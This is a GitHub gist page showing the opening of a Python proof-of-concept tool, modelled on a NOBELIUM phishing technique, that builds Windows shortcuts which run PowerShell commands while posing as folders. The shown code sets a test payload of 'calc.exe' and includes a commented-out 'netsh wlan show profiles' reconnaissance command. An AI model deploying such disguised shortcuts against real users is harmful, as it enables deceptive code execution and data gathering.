Skip to content

Instantly share code, notes, and snippets.

View fredmrq's full-sized avatar
💻

Freddy M. fredmrq

💻
  • 69 20 3C 33 20 75
  • UK
View GitHub Profile
@fredmrq
fredmrq / EvilShortcutGenerator.py
Last active August 4, 2021 16:02
Generates Windows Shortcuts that execute powershell commands while appearing as a folder.
# Generates Windows Shortcuts that execute powershell commands while appearing as a folder.
# ( inspired by the technique used here: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/ )
from win32com.client import Dispatch
import codecs, os
COMMAND = "calc.exe" # What you want Powershell to execute
#COMMAND = "netsh wlan show profiles"
BASEPATH = 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'